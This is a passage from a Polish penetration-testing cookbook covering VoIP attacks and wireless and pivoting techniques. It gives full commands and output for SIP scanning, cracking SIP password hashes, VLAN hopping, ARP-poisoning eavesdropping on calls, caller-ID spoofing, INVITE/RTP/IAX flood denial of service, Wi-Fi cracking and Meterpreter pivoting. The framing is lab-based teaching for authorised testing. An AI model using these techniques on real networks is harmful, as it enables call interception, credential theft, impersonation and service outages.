Jak to działa Narzędzie smap to narzędzie dostępne w systemie BackTrack, które skanuje urządzenia z włączoną obsługą protokołu SIP. Skaner smap rozsyła kilka żądań SIP z routera DSL, serwerów proxy oraz klientów użytkownika z obsługą protokołu SIP. Do skanowania urządzeń z obsługą protokołu SIP będziemy używać następujących poleceń: root@bt:/pentest/voip/smap# ./smap smap 0.6.0 http://www.wormulon.net/ usage: smap [ Options ] -h: this help -d: increase debugging -o: enable fingerprinting -O: enable more verbose fingerprinting -l: fingerprint learning mode -t: TCP transport -u: UDP transport (default -P0: Treat all hosts as online - skip host discovery -p
Aby zeskanować pojedynczego hosta, będziemy używać poniższych poleceń: root@bt:/pentest/voip/smap# ./smap 192.168.1.104 smap 0.6.0 http://www.wormulon.net/ 192.168.1.104: ICMP reachable, SIP enabled 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)
166
Rozdział 7. • Testy penetracyjne w sieci VoIP
Skanowanie zakresu adresów IP: root@bt:/pentest/voip/smap# ./smap 192.168.1.130/24 smap 0.6.0 http://www.wormulon.net/ 192.168.1.20: ICMP reachable, SIP enabled 192.168.1.22: ICMP reachable, SIP enabled 192.168.1.0: ICMP unreachable, SIP disabled 192.168.1.1: ICMP unreachable, SIP disabled 192.168.1.2: ICMP unreachable, SIP disabled 192.168.1.3: ICMP unreachable, SIP disabled ...fragment usunięty... 192.168.1.250: ICMP unreachable, SIP disabled 192.168.1.251: ICMP unreachable, SIP disabled 192.168.1.252: ICMP unreachable, SIP disabled 192.168.1.253: ICMP unreachable, SIP disabled 192.168.1.254: ICMP unreachable, SIP disabled 192.168.1.255: ICMP unreachable, SIP disabled 256 hosts scanned, 7 ICMP reachable, 2 SIP enabled (0.8%)
Możemy użyć narzędzia smap, aby wykonać odcisk palca (ang. fingerprint) typu klienta czy serwera oraz wersji, tak jak przedstawiono poniżej: root@bt:/pentest/voip/smap# ./smap -O 192.168.1.104 smap 0.6.0 http://www.wormulon.net/ 192.168.1.104: ICMP reachable, SIP enabled best guess (70% sure) fingerprint: Asterisk PBX SVN-trunk-r56579 User-Agent: Asterisk PBX 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)
Zobacz również Narzędzie Xplico nie jest dostępne w katalogu narzędzi VoIP w systemie BackTrack. Ale jest to bardzo przydatne narzędzie do przechwytywania ruchu sieciowego SIP oraz RTP. Xplico można znaleźć, przechodząc do Menu programu uruchamiającego/BackTrack/Digital Forensics/Forensic Analysis. Jeśli narzędzie nie jest obecne w systemie, możemy je po prostu zainstalować za pomocą polecenia root@bt:~#apt-get install xplico. Xplico może być wykorzystywane do przechwytywania na żywo ruchu sieciowego lub importowania pliku przechwytywania w formacie PCAP programu Wireshark. Tak czy inaczej, narzędzie Xplico dekoduje przechwycone pakiety i konwertuje je do żądanego formatu. Po uruchomieniu narzędzia Xplico będziemy proszeni o zalogowanie się. Domyślnie nazwa użytkownika oraz hasło to xplico.
167
Metasploit. Receptury pentestera
Pozyskiwanie haseł W poprzednim podrozdziale uzyskaliśmy adresy IP oraz numery wewnętrzne serwera SIP. Teraz skoncentrujemy się na pozyskiwaniu haseł, żeby przejść procedurę uwierzytelniania. W tej recepturze nauczymy się używać programu Wireshark do przechwytywania ruchu sieciowego. Poznamy również pakiet narzędzi sipcrack. Kiedy nowy lub istniejący telefon VoIP ustanawia połączenie z siecią, wysyła żądanie REGISTER do serwera IP-PBX w celu zarejestrowania przypisanego identyfikatora użytkownika lub numeru wewnętrznego. Żądanie to zawiera istotne dane, takie jak informacje o użytkowniku, dane uwierzytelniające itd. Przykładowe żądanie autoryzacji SIP jest następujące: REGISTER SIP :192.168.1.130;transport=UDP SIP/2.0 Via : SIP/2.0/UDP 192.168.1.132:5061;branch=zghg4bk-d8752z-37184e79d2d8 cac8-1-----d87542 Max forwards: 70 Contact : sip:[email protected]:5061;rinstance=b38b21a7169c7bdc;transport=UDP To:
Przygotuj się Aby skorzystać z programu Wireshark, wybierz Menu programu uruchamiającego/BackTrack/ Information gathering/Network analysis/Network traffic analysis/wireshark. Pakiet narzędzi sipcrack jest dostępny w katalogu /pentest/passwords/sipcrack.
Jak to wykonać Pierwszym etapem jest przechwycenie żądań typu REGISTER. W tym celu użyjemy
programu Wireshark. Wybierz adres IP 192.168.1.132 ze źródła, którym jest urządzenie użytkownika atakowanego (telefon Zoiper). Następnym etapem jest zapisanie przechwyconego pliku jako auth.pcap.
168
Rozdział 7. • Testy penetracyjne w sieci VoIP
Teraz kolej na wykorzystanie pakietu sipcrack. Ten pakiet narzędzi jest dostępny
w systemie BackTrack w katalogu /pentest/passwords. Zrzucimy plik uwierzytelniania auth.pcap za pomocą narzędzia o nazwie sipdump, które jest częścią pakietu sipcrack: root@bt:/pentest/passwords/sipcrack# ./sipdump auth.txt –p auth.pcap * Using pcap file 'auth.pcap' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from 192.168.1.130 à 192.168.1.132 (User '100') * Dumped login from 192.168.1.130 à 192.168.1.132 (User '100') * Exiting sniffed 2 logins Użyjemy narzędzia sipcrack do złamania skrótów (haszy) haseł uwierzytelniania za
pomocą niestandardowej listy słów. Wyniki tej operacji zostaną zapisane w pliku auth.txt: root@bt:/pentest/passwords/sipcrack# ./sipcrack auth.txt –w wordlist.txt * Found accounts Num Server Client User Hash/Password 1 192.468.1.132 192.468.1.130 100 266985602b32305ac254d2087c... 2 192.468.1.132 192.468.1.130 100 5241a520b547852e2581b2323a... 3 192.468.1.132 192.468.1.130 100 e54b78d854126ba4587a4150b1... Select which entry to crack (1 - 3) : 1 * Generating static md5 hash. . . cae5479224126b852e2581 * Starting brute force against user '100' md5 ('266985602b32305ac254d2087') * Loaded wordlist: 'wordlist.txt' * Starting brute force against user '100' md5 ('266985602b32305ac254d2087') * Tried 48 passwords in 0 seconds * Found password: '123' * Updating dump file ' auth.txt '. . .done
Wszystko jest teraz jasne i mamy hasła do numerów wewnętrznych. Możemy wykorzystać te informacje do zarejestrowania się na serwerze IP-PBX z własnego telefonu z obsługą protokołu SIP. To pozwoli na przeprowadzenie operacji, takich jak podszywanie się pod uprawnionego użytkownika i wykonywanie połączeń do innych użytkowników w jego imieniu. Możemy również przechwytywać lub zmieniać uprawnione połączenia wychodzące z numeru wewnętrznego zaatakowanego użytkownika (ofiary) jak i te, które do niego przychodzą.
Przeskakiwanie VLAN-ów Ruch sieciowy VoIP odbywa się w skonfigurowanym na stałe VLAN-ie. To powoduje, że nie jesteśmy w stanie przejąć ruchu VoIP po prostu za pomocą zatruwania tablicy ARP (ang. ARP poisoning) i przechwytywania pakietów. Jest tak dlatego, że sieć VLAN funkcjonuje jak sieć wyizolowana, posiadająca własną domenę rozgłoszeniową oraz zakres adresów IP inny niż sieć przesyłająca dane.
169
Metasploit. Receptury pentestera
Technika przeskakiwania VLAN-ów (ang. VLAN hopping) jest sposobem na przeskoczenie do innego VLAN-u, tak jak to zostało przedstawione na poniższym rysunku:
Hopper (skoczek) VoIP faktycznie „przeskakuje” do VLAN-u głosowego i zachowuje się podobnie jak telefon IP. Obsługuje konkretne switche i niektóre modele telefonów IP. Obecnie wspiera sprzęt takich producentów, jak Cisco, Avaya oraz Nortel. Hopper VoIP został zaprojektowany do pracy w środowisku systemu BackTrack Linux. Aktualnie posiada funkcje takie jak klient serwera DHCP, generator komunikatów CDP, podszywanie się pod adresy MAC (ang. MAC address spoofing) oraz przeskakiwanie VLAN-ów.
Przygotuj się Aby skorzystać z programu voiphopper, wpisz następujące polecenie w wierszu poleceń: root@bt:~# voiphopper voiphopper -i
170
Rozdział 7. • Testy penetracyjne w sieci VoIP
Example: voiphopper -i eth0 -v 200 Nortel DHCP Option Mode (-n): Example: voiphopper -i eth0 -n
Jak to wykonać Hopper VoIP ułatwia użytkownikowi przedostanie się do dowolnej sieci VLAN bez konieczności przechwytywania komunikatów CDP. Jeżeli znamy już identyfikator sieci głosowej VLAN i chcemy przeskoczyć do innego VLAN-u, musimy jedynie podać ten identyfikator, tak jak to pokazano poniżej: root@bt:~# voiphopper -i eth0 -v 20 VoIP Hopper 1.00 Running in VLAN Hop mode ~ Trying to hop into VLAN 2 Added VLAN 20 to Interface eth0 Attempting dhcp request for new interface eth0.20 eth0.20
Link encap:Ethernet HWaddr 00:0c:29:84:98:b2 inet6 addr: fe80::20c:29ff:fe84:98b2/64 Scope:Link UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:2274 (2.2 KB)
Zobacz również ACE jest kolejnym narzędziem wykorzystującym technikę przeskakiwania VLAN-ów. Jest bardzo podobne w użyciu do polecenia voiphopper, ale ma tę przewagę, że zawiera opcję wykrywania serwerów TFTP (serwery konfiguracji).
Podszywanie się pod adresy MAC w sieci VoIP Każde urządzenie sprzętowe w sieci posiada unikatowy adres MAC. Podobnie jak wszystkie inne urządzenia sieciowe, telefony VoIP są również podatne na ataki podszywania się pod adresy MAC czy wykorzystywanie takich adresów MAC w rozsyłanych pakietach ARP (ang. ARP spoofing). W tym podrozdziale zajmiemy się przechwytywaniem pakietów aktywnych połączeń głosowych przez zapis bieżącej rozmowy VoIP i jej podsłuchiwanie.
171
Metasploit. Receptury pentestera
Przygotuj się Nauczymy się korzystać z narzędzia ucsniff (część zestawu narzędzi do ataków zatruwania ARP). Aby kontynuować, potrzebujemy adresu IP ofiary, który już posiadamy (zostało to opisane w poprzedniej recepturze, „Pozyskiwanie haseł”).
Jak to wykonać 1. Ważne jest, aby wykryć adres MAC maszyny docelowej, na której ma zostać przeprowadzone zatrucie tablicy ARP. Narzędzie ucsniff oferuje funkcję automatycznej identyfikacji adresów MAC, ale jeśli chcemy identyfikować adresy MAC oddzielnie, możemy użyć narzędzia nmap, tak jak przedstawiono poniżej: root@bt:# nmap 192.168.1.132 Starting nmap 5.51 (http://nmap.org) at 2013-08-06 14:28 Nmap scan report for 192.168.1.132 Host is up (0.000028s latency) Not shown : 992 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 1433/tcp open ms-sql-s 9535/tcp open man 9593/tcp open cbas 9594/tcp open sgsys 9595/tcp open pds MAC address : 00:15:DB:10:D4:B0 (Intel corporation) Nmap done : 1 IP address (1 host is up) scanned in 1.53 seconds
2. Kiedy uzyskamy adres MAC użytkownika atakowanego, możemy użyć narzędzia ucsniff, aby podszyć się pod ten adres. Narzędzie ucsniff działa w różnych trybach, takich jak tryb monitorowania (ang. Monitor mode), tryb nauki (ang. Learning mode) oraz tryb podsłuchu MiTM (ang. Man in The Middle). Skorzystamy z trybu MiTM, podając adres IP ofiary oraz jej numer wewnętrzny SIP w pliku targets.txt. Tryb ten zapewnia, że podsłuchiwane są tylko połączenia przychodzące do ofiary (użytkownik A) i przez nią wykonywane, bez wpływu na inny ruch w sieci. Odbywa się to w sposób następujący: root@bt:/pentest/voip/ucsniff 8.10# ucsniff –i eth0 –T ucsniff 8.10 starting Displaying the discovered targets list // Wyświetlenie listy znalezionych celów Extension Name IP Protocol 100 User A 192.168.1.132 sip 102 User B 192.168.1.133 sip Please select one endpoint (1 - 2) from the discovered targeted list // Proszę wybrać jeden punkt końcowy (1-2) z listy znalezionych celów. 1
172
Rozdział 7. • Testy penetracyjne w sieci VoIP
Target selected for input user eavesdropping. // Wybrano cel do podsłuchiwania // danych wejściowych użytkownika. 100 User A 192.168.1.132 sip Listening on eth0 ... (Ethernet) Eth 0 00:0c:28:F7:6d:71 192.1683.1.133 255.255.255.0 Randomizing 255 hosts for scanning... * |. ............... .......>| 100.00% 3 hosts added to the host list... 3 hosts saved to arpsaver.txt... ARP poisoning victims // Ofiary zatruwania tablicy ARP GROUP 1 : 192.168.1.132 00:15:DB:10:D4:B0 GROUP 2 : ANY (All of the hosts in the list) Starting unified sniffing... Warning : Please ensure you hit 'q' when you are finished with this program. Warning : 'q' re-ARPs the victim. Failure to do so before program exit will result in DoS. Listening for new calls to and from target User A (extension 100, IP 192.168.1.132) // Nasłuchiwanie nowych połączeń wychodzących od docelowego // użytkownika, jak i wchodzących do niego
2. Udało się podszyć pod adres MAC ofiary i jesteśmy gotowi do przechwytywania połączeń przychodzących na telefon VoIP użytkownika A, jak i wychodzących z jego aparatu. Teraz, za każdym razem gdy użytkownik B zadzwoni do użytkownika A i rozpocznie rozmowę, narzędzie ucsniff ją nagra. 3. Po zakończeniu rozmowy narzędzie ucsniff zapisuje wszystkie nagrane rozmowy w pliku z rozszerzeniem .wav. Kiedy skończymy, możemy uruchomić narzędzie ucsniff ponownie z opcją -q, aby zatrzymać proces podszywania się pod adres MAC ofiary i aby mieć pewność, że wszystko pozostanie w należytym porządku po wykonaniu ataku.
Atak wykorzystujący podszywanie się pod inną osobę Atak wykorzystujący podszywanie się pod inną osobę (ang. impersonation attack) ma miejsce wtedy, kiedy nieznany użytkownik może podszyć się pod uprawnionego użytkownika, aby zadzwonić do innych upoważnionych użytkowników w sieci VoIP. W tym ataku sprawdziłoby się kilka modyfikacji w żądaniu INVITE (zaproś). Istnieje kilka sposobów, aby spreparować zniekształcony komunikat SIP typu INVITE. Użyjmy modułu pomocniczego sip_invite_spoof frameworku Metasploit, aby spreparować komunikator zaproszenia.
173
Metasploit. Receptury pentestera
Przygotuj się Uruchommy moduł pomocniczy sip_invite_spoof frameworku Metasploit.
Jak to wykonać Po załadowaniu modułu invite_spoof wykonajmy następujące polecenia: msf exploit (handler) > use auxiliary/voip/sip_invite_spoof msf auxiliary (sip_invite_spoof) > set MSG User B MSG => à User B msf exploit auxiliary (sip_invite_spoof) > show options Module options (auxiliary/voip/sip_invite_spoof ) : Name Curent Setting Required Description MSG User A yes The spoofed caller ID to send RHOSTS 192.168.1.132 yes The target address range or CIDR identifier RPORT 5060 yes The target port SRCADDR 192.168.1.100 yes The sip address the spoofed call is coming from THREADS 1 yes The number of concurrent threads msf auxiliary (sip_invite_spoof) > run [*] Sending fake sip INVITE to 192.168.1.132 [*] Scanned 1 of 1 hosts (100.0 % completed) [*] Auxiliary module execution completed
Jak to działa Moduł pomocniczy wysyła fałszywe żądanie z zaproszeniem do ofiary (użytkownika A). Ofiara otrzyma sygnał VoIP przychodzący od użytkownika B, następnie odbierze telefon z przekonaniem, że przeprowadza rozmowę z użytkownikiem B.
Zobacz również Vomit to aplikacja, która rozmowę z telefonu IP firmy Cisco z obsługą protokołu RTP konwertuje do pliku w formacie WAVE, który można odtworzyć w dowolnym odtwarzaczu dźwięku. Aplikacja Vomit wymaga pliku wyjściowego pochodzącego z narzędzia tcpdump jako swojego pliku wejściowego. Aby uruchomić aplikację Vomit, musimy pobrać i zainstalować odtwarzacz WavePlay.
174
Rozdział 7. • Testy penetracyjne w sieci VoIP
Atak DoS Atak DoS (ang. Denial of Service) ma na celu zmuszenie maszyny lub zasobu sieciowego, aby stały się niedostępne dla swoich użytkowników. Zazwyczaj na tego rodzaju atak składają się wysiłki, aby tymczasowo lub na czas nieokreślony zakłócić działanie usług świadczonych przez hosta podłączonego do internetu. Można tego dokonać poprzez zalewanie sieci (ang. flooding) ogromną ilością danych, aby zaangażować wszystkie zasoby sieci i obciążyć ją dużą liczbą wysyłanych żądań. W kontekście technologii VoIP możemy użyć takich narzędzi jak inviteflood, rtpflood, iaxflood, teardown, sipp itd. Wszystkie te narzędzia są dostępne w systemie BackTrack w Menu programu uruchamiającego/BackTrack/Stress Testing/VoIP Stress Testing. Omówimy niektóre z nich: 1. Narzędzie inviteflood zalewa cel żądaniami INVITE w celu wykonania ataku typu DoS. Zazwyczaj używane jest do atakowania celów takich jak bramki, serwery proxy i telefony SIP. 2. Narzędzie iaxflood służy do floodowania protokołu IAX2 (używanego przez centralę Asterisk PBX). 3. Narzędzie rtpflood zalewa docelowy telefon IP pakietami UDP zawierającymi dane protokołu RTP.
Przygotuj się Przejdźmy do narzędzia inviteflood dostępnego w Menu programu uruchamiającego/BackTrack/ Stress Testing/VoIP Stress Testing, jak pokazano na pierwszym rysunku na następnej stronie.
Jak to wykonać Użyjemy bardzo popularnego narzędzia inviteflood. Zobaczmy, w jaki sposób przeprowadzić testy obciążeniowe (ang. stress testing) sieci VoIP: Za pomocą polecenia ls przyjrzyjmy się zawartości katalogu inviteflood,
tak jak pokazano na drugim rysunku na następnej stronie. Składnia tego polecenia wygląda następująco: ./inviteflood eth0 docelowy_numer_wewnętrzny docelowa_domena docelowy_adres_ip liczba_pakietów. Następnie atakujemy ofiarę (Użytkownik A, 192.168.1.132): root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 100 192.168.1.132 192.168.1.132 10000000 source ipv4 addr : port = 192.168.1.130:9 dest ipv4 addr : port = 192.168.1.132:5060 Targeted UA = [email protected] Flooding destination with 10000000 packets Sent : 72925698
175
Metasploit. Receptury pentestera
Jak to działa Narzędzie inviteflood flooduje bramkę SIP poprzez wysyłanie ogromnej liczby żądań. W konsekwencji uniemożliwi to użytkownikom wykonywanie połączeń telefonicznych i wygeneruje błąd 404.
Zobacz również Narzędzie rtpflood jest używane do floodowania docelowego telefonu IP za pomocą pakietów UDP zawierających dane protokołu RTP. Aby przeprowadzić udany atak za pomocą tego narzędzia, musimy znać numer portu nasłuchującego RTP na zdalnym urządzeniu, które zamierzamy zaatakować (domyślny port RTP na urządzeniu Zoiper to 8000), tak jak to przedstawiono poniżej. Składnia narzędzia rtpflood wygląda następująco: ./rtpflood źródłowy_adres_ip docelowy_ adres_ip numer_portu_źródłowego numer_portu_docelowego liczba_pakietów liczba_sekwencji znacznik_czasu identyfikator_SSID. root@bt:/pentest/voip/rtpflood# ./rtpflood 192.168.1.130 192.168.1.132 8000 8002 10000 15000 2000 18800532 Will flood port 8002 from port 8000 10000 times Using sequence_number 15000 timestamp 2000 SSID 18800532 We have IP_HDRNCL
176
Rozdział 7. • Testy penetracyjne w sieci VoIP
Number of packets sent: Sent 16647 166 1647
W rezultacie udało się uruchomić atak DoS. Narzędzie IAXFlood służy do floodowania protokołu IAX2, który jest stosowany przez centralę Asterisk PBX. Korzysta się z niego w sposób opisany poniżej. Składnia narzędzia iaxflood: ./iaxflood źródłowy_adres_ip docelowy_adres_ip liczba_pakietów. root@bt:/pentest/voip/iaxflood# ./iaxflood 192.168.1.132 192.168.1.132 10000000 Will flood port 4569 from port 4569 10000000 times We have IP_HDRNCL Sent 842578
177
Metasploit. Receptury pentestera
178
8 Testy penetracyjne sieci bezprzewodowej W tym rozdziale: Konfigurowanie i uruchamianie narzędzia Fern WiFi Cracker Monitorowanie interfejsów sieciowych za pomocą narzędzia tcpdump Łamanie zabezpieczeń szyfrowania WEP oraz WPA za pomocą aplikacji Fern Wi-Fi
Cracker Przechwytywanie sesji przy użyciu adresu MAC Określanie geolokalizacji celu Technika wardrivingu Atak typu zły bliźniak Konfiguracja Karmetasploit
Wprowadzenie Pomimo obaw o bezpieczeństwo, wiele osób korzysta z technologii bezprzewodowej i nic się w tej kwestii nie zmieni. W rzeczywistości nie tylko nie przestajemy korzystać z tej technologii, ale ciągle się ona rozwija. Dotyczy to bezprzewodowych sieci LAN wykorzystujących standard Wi-Fi, ale również innych zastosowań, takich jak telefony bezprzewodowe, inteligentne domy, urządzenia wbudowane itd. Technologie takie jak ZigBee i Z-Wave oferują najnowsze metody nawiązywania połączeń pomiędzy urządzeniami, podczas gdy inne standardy bezprzewodowe, takie jak Wi-Fi, Bluetooth, Bluetooth Low Energy i DECT, nadal dynamicznie się rozwijają.
Metasploit. Receptury pentestera
Każda ze wspomnianych technologii charakteryzuje się indywidualnymi wyzwaniami dotyczącymi kwestii bezpieczeństwa i posiada słabości, które mogą być wykorzystane przez cyberprzestępców do przeprowadzania ataków. Ogólnie rzecz biorąc, sieci bezprzewodowe wypierają stare tradycyjne sieci korporacyjne i są wykorzystywane przez hakerów do uzyskania szerszego dostępu i przejęcia danych. Testy penetracyjne sieci bezprzewodowej wskazują danej organizacji realne zagrożenia, które zawsze są obecne, gdy stosujemy tego typu infrastrukturę. Testy penetracyjne sieci bezprzewodowej pozwolą przeanalizować infrastrukturę bezprzewodową pod kątem luk, które umożliwiają nieautoryzowanym użytkownikom uzyskanie dostępu do cennych i poufnych systemów wewnętrznych. W naszych testach postaramy się wykryć i wykorzystać wszystkie luki znalezione w sieci bezprzewodowej, aby wskazać potencjalne konsekwencje wynikające z dokonywanych ataków na te sieci. W tym rozdziale omówimy takie tematy, jak łamanie haseł Wi-Fi, monitorowanie interfejsów sieciowych za pomocą narzędzi iwconfig oraz tcpdump, przechwytywanie sesji za pomocą adresu MAC, określanie geolokalizacji zdalnego celu itd.
Konfigurowanie i uruchamianie narzędzia Fern WiFi Cracker Aplikacja Fern WiFi Cracker jest napisanym w języku Python narzędziem do przeprowadzania testów penetracyjnych sieci bezprzewodowych. Narzędzie to jest obsługiwane za pomocą graficznego interfejsu użytkownika (ang. Graphical User Interface — GUI). Gdy tylko włączamy aplikację Fern Wi-Fi Cracker, automatycznie uruchamiane są narzędzia, takie jak aireplay-ng, airodump-ng oraz aircrack-ng. Działają one samodzielnie, ale wykorzystują pakiet narzędzi aircrack-ng. Aplikacji Fern WiFi Cracker możemy użyć w celu przechwytywania sesji lub określania geolokalizacji danego systemu na podstawie jego adresu MAC. Przed uruchomieniem aplikacji Fern Wi-Fi Cracker upewnij się, że Twoja karta bezprzewodowa obsługuje wstrzykiwanie pakietów (ang. packet injection).
Przygotuj się Aby uruchomić narzędzie Fern WiFi Cracker, należy wybrać opcję Menu programu uruchamiającego/BackTrack/Exploitation Tools/Wireless Exploitation Tools/WLAN Exploitation/fern-wifi-cracker, tak jak pokazano na poniższym rysunku:
180
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
W przypadku korzystania z systemu Ubuntu musimy to narzędzie zainstalować ręcznie.
Jak to wykonać Aby zainstalować i skonfigurować aplikację Fern Wi-Fi Cracker w systemie Ubuntu, należy wykonać następujące czynności: 1. Pobierz aplikację Fern WiFi Cracker w formacie archiwum .deb. Do pobrania są również inne formaty pakietów instalacyjnych dla pozostałych dystrybucji systemu Linux. 2. Po pobraniu pliku należy kliknąć go dwukrotnie lewym przyciskiem myszy. Otwarte zostanie Centrum oprogramowania Ubuntu (ang. Ubuntu Software Center). Kliknij na przycisk Install (zainstaluj) i wpisz hasło administratora, jeżeli zostaniesz o to poproszony. 3. Po instalacji aplikacji otwórz ją z uprawnieniami administratora, a następnie uruchom konsolę terminala i wpisz następujące polecenie: sudo python /pentest/wireless/Fern-Wi-Fi-Cracker/execute.py Umieszczenie polecenia sudo na początku komendy wskazuje, że chcemy uruchomić aplikację z uprawnieniami użytkownika root w interfejsie administratora.
4. Wybierz sieć bezprzewodową, tak jak przedstawiono na rysunku poniżej:
181
Metasploit. Receptury pentestera
5. Aby rozpocząć skanowanie sieci, kliknij na przycisk z ikoną symbolizującą antenę Wi-Fi, który znajduje się w górnej części okna aplikacji. Możesz skonfigurować ustawienia, klikając dwukrotnie okno aplikacji. 6. Po zakończeniu skanowania aktywne staną się przyciski łamania zabezpieczeń szyfrowania WEP lub WPA. Wybierzemy opcję łamania szyfrowania WEP. 7. Wyświetli się nowe okno dialogowe. Zmień ustawienia, wybierając z listy sieć WEP oraz rodzaj ataku. Po wykonaniu tych czynności uruchom atak, klikając na przycisk Attack. 8. Zaczekaj, aż pasek postępu dojdzie do 100 procent. Po zakończeniu tego procesu aplikacja Fern WiFi Cracker rozpocznie łamanie hasła Wi-Fi.
Monitorowanie interfejsów sieciowych za pomocą narzędzia tcpdump Według Techopedii przechwytywanie pakietów jest terminem z zakresu sieci komputerowych, określającym przechwytywanie pakietów danych, które są przesyłane w określonej sieci komputerowej. Gdy pakiet zostaje przechwycony, jest tymczasowo przechowywany w celu ewentualnej analizy. Badanie takiego pakietu ma pomóc w diagnozowaniu i rozwiązywaniu
182
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
problemów z siecią oraz określić, czy reguły bezpieczeństwa sieci są przestrzegane. Hakerzy również mogą korzystać z technik przechwytywania pakietów w celu kradzieży danych przesyłanych przez sieć. Administratorzy sieci wkładają wiele wysiłku w analizę i utrzymanie ruchu sieciowego oraz zachowanie wydajności na określonym poziomie. Do badania i przechwytywania w czasie rzeczywistym pakietów przesyłanych poprzez sieć stosowane są różne metody. Przechwytywanie pakietów obejmuje filtrowanie. Ta technika wykorzystuje filtry w różnych węzłach sieci, w których przechwytywane są dane. Ponadto stosuje się instrukcje warunkowe do określenia, które dane mają być przechwytywane. Filtr może np. przechwytywać dane pochodzące z trasy PQR i adresu IP U.V.W.X. W celu zwiększenia wydajności filtrowania należy przechwytywać raczej kompletne pakiety, a nie określone części pakietu. Pełny pakiet składa się z nagłówka oraz bloku danych. Blok danych jest rzeczywistą zawartością pakietu, a nagłówek posiada dodatkowe informacje, takie jak źródło pakietu i adres docelowy. Po złamaniu zabezpieczeń systemu w sieci naszym celem jest zebranie jeszcze większej ilości informacji na temat środowiska maszyny docelowej i znalezienie otwartych portów poprzez bezpośrednią interakcję z danymi systemami. Cele testów penetracyjnych obejmują ustalenie adresów używanych przez systemy, w tym hosty (serwery i klienty), urządzenia sieciowe (firewalle, routery i switche) itd. Mówiąc w skrócie, chcemy określić systemy operacyjne, listę nasłuchujących portów TCP, otwarte porty oraz listę najważniejszych luk w zabezpieczeniach. Aby to osiągnąć, użyjemy na ofierze techniki zwanej pivotingiem, która umożliwi głębszą eksplorację sieci.
Przygotuj się Atakujący (192.168.1.129) włamuje się do systemu Windows XP poprzez kartę Ethernet z interfejsem 2:192.168.1.130, która jest podłączona do różnych routerów. Atakujący uruchamia narzędzie ipconfig z poziomu sesji Meterpretera: Meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 1500 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 Interface 2 ============ Name : Realtek PCIe FE Family Controller Hardware MAC : 88:ae:1d:ed:96:d2
183
Metasploit. Receptury pentestera
MTU : 1500 IPv4 Address : 192.168.1.130 IPv4 Netmask : 255.255.255.0 Interface 3 ============ Name Hardware MAC MTU IPv4 Address IPv4 Netmask
: : : : :
Karta sieciowa Broadcom 802.11n e8:39:df:f3:ae:fb 1500 192.168.15.130 255.255.255.0
Jak to wykonać 1. System jest podłączony do trzech różnych zakresów adresów IP, które mogą prowadzić do większej liczby celów do eksploatacji. Musimy się dowiedzieć, czy są jakieś inne adresy IP w tym zakresie. W tym celu użyjemy jednego ze skryptów Meterpretera, zwanego arp_scanner. Skrypt arp_scanner wykona skanowanie ramek ARP danego zakresu adresów IP, wykorzystując przejętego hosta, co zostało przedstawione poniżej: meterpreter > run arp_scanner -r 192.168.15.1/24 [*] ARP Scanning 192.168.15.1/24 [*] IP: 192.168.15.5 MAC d8:d3:85:d3:8:2d [*] IP: 192.168.15.3 MAC 0:b:db:1d:d3:2b [*] IP: 192.168.15.1 MAC 0:17:ee:ca:32:b2 meterpreter > run arp_scanner -r 192.168.0.1/24 [*] ARP Scanning 192.168.0.1/24 [*] IP: 192.168.0.1 MAC 0:9:5b:fa:66:f2 [*] IP: 192.168.0.5 MAC 0:16:6f:79:68:0 [*] IP: 192.168.0.9 MAC 0:90:4b:12:34:4c [*] IP: 192.168.0.7 MAC 0:21:6a:b5:9a:f0
2. Następnie dodamy trasę do sesji Meterpretera. Aby to zrobić, używamy polecenia route add w konsoli msfconsole (musimy uruchomić sesję Meterpretera w tle): meterpreter > background msf exploit(handler) > route add 192.168.15.1 255.255.255.0 1 [*] Route added msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway -----------------192.168.15.1 255.255.255.0 Session 1
184
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
Zwróć uwagę na liczbę 1 na końcu polecenia dodawania trasy. Ta wartość określa sesję Meterpretera, którą dodajemy do trasy. Wskazuje także identyfikator tunelu, który musi pasować do trasy. Można mieć przypisane różne identyfikatory tunelu do jednego lub wielu adresów IP.
3. Następnie wykorzystamy skaner portów, aby wykryć otwarte porty dla adresów IP znalezionych w wyniku skanowania ramek ARP. Załadujemy więc skaner portów TCP znajdujący się w narzędziach pomocniczych i uruchomimy go w celu przeskanowania adresów IP: msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set RHOSTS 192.168.15.1 RHOSTS => 192.168.15.1
Możemy ustawić parametr PORTS z żądanym zakresem portów, które chcemy przeskanować (1-1024). Następnie używamy polecenia run i uzyskujemy następujące wyniki: msf auxiliary(tcp) > set PORTS 1-1024 PORTS => 1-1024 msf auxiliary(tcp) > run [*] 192.168.15.1:22 - TCP OPEN [*] 192.168.15.1:80 - TCP OPEN [*] 192.168.15.1:554 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tcp) > set RHOSTS 192.168.15.2 RHOSTS => 192.168.15.2 msf auxiliary(tcp) > set PORTS 1-1024 PORTS => 1-1024 msf auxiliary(tcp) > run [*] 192.168.15.2:22 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tcp) > set RHOSTS 192.168.15.5 RHOSTS => 192.168.15.5 msf auxiliary(tcp) > set PORTS 1-1024 PORTS => 1-1024 msf auxiliary(tcp) > run [*] 192.168.15.5:80 - TCP OPEN [*] 192.168.15.5:139 - TCP OPEN [*] 192.168.15.5:445 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ------------------ ------------------
185
Metasploit. Receptury pentestera
CONCURRENCY
10
yes
